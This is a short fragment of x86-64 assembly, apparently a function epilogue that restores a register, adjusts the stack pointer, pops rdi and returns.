mov rbx, qword [rsp + 0xb0]
add rsp, 0xa0
pop rdi
ret